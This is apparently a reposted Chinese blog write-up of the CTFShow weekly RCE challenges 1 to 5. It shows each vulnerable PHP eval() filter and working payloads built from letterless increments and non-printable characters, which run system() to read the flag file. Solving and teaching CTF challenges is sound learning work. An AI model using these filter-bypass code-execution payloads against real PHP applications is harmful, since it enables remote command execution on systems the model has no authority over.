CTFSHOW每周大挑战——RCE篇

这篇具有很好参考价值的文章主要介绍了CTFSHOW每周大挑战——RCE篇。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

RCE1:过滤了括号,不能使用system(),可以用反引号搭配echo使用回显flag

payload:echo `cat /f*`;

RCE2:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

过滤了很多东西呢,通过正则表达式匹配发现还有

' () + , . ; = [] _

上面还有提示,吃瓜杯Y4的shellme_revenge,想到用自增的方法

(32条消息) 【CTF】通过符号构造字母数字_吃_早餐的博客-CSDN博客

构造出来$_GET[_]($_GET[__]);然后直接命令执行即可

payload:post

$_=''.[];
$_=$_['_'];
$_++;
$_++;
$_++;
$__=++$_;
$_++;
$___=++$_;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;
$$_[_]($$_[__]);

注意post用url编码后使用。

get:?_=system&__=cat /f*;

后面三个卡住了,师傅们都tql

RCE3:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这次是不仅过滤了而且还有字数限制。先正则匹配一下得到

() + , . / 0 1 ; = [] _

这次放出来了0 1,'被禁了。还是用自增的方法但是和前面有点不太一样了。因为有了长度限制,所以要用更短的方式。直觉上可能会觉得GET比POST短会用更少字符,但是因为从N开始后OPST都有,POST更容易用更少的字数得到,所以使用POST。

​
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);

​

用burp把a换成不可见字符(如%ff %fe等),url编码中+会被替换成空格,所以要换成%2b

payload:

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE4:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

比上一个少了1,而且字符数要求更少了。所以需要我们压缩得更短。不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0];直接得到字母N,payload构造过程:

$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

payload:

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE5:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

要求更少了,但是phpinfo中多了个gettext()扩展插件,使得我们可以用_()直接转为字符串

payload:

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

注意一下:因为不可见字符的原因,所以要用bp来做,hackbar可能会和我一样出现 url malformed CLOSE,用bp做的时候注意+会被替换成空格所以要编码外,还有用不可见字符替换过滤得字母(为了使得字符数更短才用的),其他直接post提交即可。

后面群里的大佬还有更短的payload,直接压到了72位构造如下:

<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_.=_.$_++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

$_=$a.$a++;//PO

至于为什么是得到PO而不是OP或者OO之类的,官方wp上师傅们讨论的结果是:

PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。*以上所有均为猜测,具体机制需研究PHP源码。

总结:对于无数字字母rce有了更进一步的了解,可以用自增的方法解决,还有不可见字符代替得到更小的字符数。当然如果其他的被禁掉了,还有异或、$PATH、或、取反等方法来解决问题。

参考文章:

Docs (feishu.cn)

(33条消息) ctfshow RCE极限挑战 wp_练习两年半的篮球选..哦不对安全选手的博客-CSDN博客

(最后一篇文章的师傅RCE1-4都可以用hackbar,5实在要求太短只能用不可见字符才用bp)文章来源地址https://www.toymoban.com/news/detail-411749.html

到了这里,关于CTFSHOW每周大挑战——RCE篇的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月07日
    浏览(60)
  • 和鲸社区数据分析每周挑战【第九十三期:特斯拉充电桩分布分析】

    本周的挑战内容为: 特斯拉充电桩分布分析 大家可以去关于特斯拉超级充电站数据集(全球)的探索在线或者下载到本地进行运行这个项目。 数据集来源本次活动提供: 1、获取拥有最多充电站的 10 个国家 我们不难发现美国共有超过1100座特斯拉充电站,是世界上特斯拉充

    2024年02月11日
    浏览(49)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中(预计8.18完成)~

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月12日
    浏览(50)
  • [GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

    SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客 ssti板块注入 正好不会 {%%}的内容 学习一下 经过测试 发现过滤了 {{}} 那么我们就开始吧 我们可以通过这个语句来查询是否存在ssti   存在咯 这里跟着师傅的wp走

    2024年02月06日
    浏览(35)
  • 【CodeSmith】The System.Data.SQLite library is not installed on this computer,不能使用SQLite解决办法

    1)System.Data.SQLite 尚未安装在您的计算机上 2)System.Data.SQLite 尚未正确配置 【注意】CodeSmith Generator 被编译为 AnyCPU。这意味着当您在Visual Studio外部启动Generator时,Generator将作为64位进程运行。如果从 Visual Studio(32 位进程)中生成,则 CodeSmith 生成器库将作为 32 位进程运行。

    2024年02月09日
    浏览(51)
  • Oracle19c默认用户名system密码不正确不能登录问题解决

    oracle乱码问题一般是 由于oracle字符集设置和操作系统字符集设置不一致 造成的。 查看oracle字符集方式如下: 1.进入sqlplus 命令: 2.以系统管理员身份连接数据库 命令: 3.输入查询语句命令: 查询结果: (1)普通用户: SCOTT (密码:tiger) (2)普通管理员:SYSTEM(密码:

    2024年02月13日
    浏览(47)
  • [每周一更]-(第83期):Go新项目-Gin中间件的使用和案例(10)

    在 Gin 中,中间件是一种用于处理 HTTP 请求和响应的功能强大的机制。中间件是一段位于请求处理链和最终处理器之间的代码, 它可以截获请求、执行预处理操作,修改请求或响应,然后将控制权传递给下一个中间件或最终的请求处理器。 中间件在业务使用中,方便注入一些

    2024年01月20日
    浏览(54)
  • 使用栈检查括号的合法性 C 实现

    使用栈检查括号的合法性 思路讲解:首先从数组数组0下标开始,如果是左括号直接无脑 压入栈 ,直到出现右括号开始判断合法与否。遇到右括号分两种情况, 第一种 是空栈的情况,也就是说我们第一个字符就是右括号,那么我们可以直接判定为非法,返回false退出; 第二

    2024年02月09日
    浏览(50)
  • 每周编辑精选|7×24h 的 AI 直播间来啦!一键使用 GPT-SoVITS 声音克隆教程上新

    📢📢 好消息!好消息!📺「超神经电视台」在 bilibili 上线啦~ 「超神经电视台」会「7×24h」不间断直播 AI 领域的实用课程与行业大会等, 每周我们会在文章结尾发布下周的节目预告哦! 点开看看: http://live.bilibili.com/26483094 悄悄说, 前段时间从 OpenAI 离职的技术大神 Ka

    2024年04月08日
    浏览(91)
  • R语言基础 | 使用中括号“[]”提取或替换数据

    专注系列化、高质量的R语言教程 (查看推文索引 ) 中括号 [] 是R语言的一个常用操作符,作用是提取(extract)或替换(replace)。本篇推文总结其三种用法: 1 使用下标或名称 2 使用逻辑变量 3 使用重复序数 在推文R语言的原子类型和数据结构中,学堂君介绍了五种基本数据

    2024年02月12日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包